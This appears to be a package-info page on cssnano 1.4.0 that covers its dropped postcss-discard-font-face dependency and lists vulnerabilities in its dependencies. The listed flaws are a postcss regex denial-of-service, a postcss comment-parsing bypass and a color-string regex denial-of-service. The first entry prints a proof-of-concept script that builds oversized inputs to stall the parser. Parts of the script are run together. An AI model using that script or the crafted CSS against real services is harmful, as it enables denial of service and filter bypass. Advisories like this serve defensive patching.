Cssnano, a modular PostCSS-based minifier, released version 1.4.0, succeeding version 1.3.3. Both versions share the core functionality of optimizing CSS code. The key difference lies in the removal of the postcss-discard-font-face dependency in version 1.4.0, which was present in 1.3.3. This change likely reflects a shift in how cssnano handles font-face declarations, potentially streamlining the minification process or addressing specific issues related to font-face optimization.
For developers, this means that when upgrading to 1.4.0, they should be aware of this change and test if affects their particular use case. Both versions bundle a suite of PostCSS plugins, including postcss-calc, postcss-colormin, postcss-zindex, and many others, each responsible for a specific optimization task like reducing color values, optimizing z-index properties, and merging rules. This modular approach allows granular control over the minification process.
The updates show cssnano's ongoing evolution and commitment to optimized CSS delivery. Developers using cssnano benefit from smaller CSS file sizes, leading to faster page load times and improved website performance. Keeping an eye on dependency changes, like the altered font-face handling, is crucial for ensuring a smooth transition and avoiding unexpected issues after updating the package. This ensures that websites continue to load faster and provide a better user experience. Both versions are licensed under MIT.
All the vulnerabilities related to the version 1.4.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.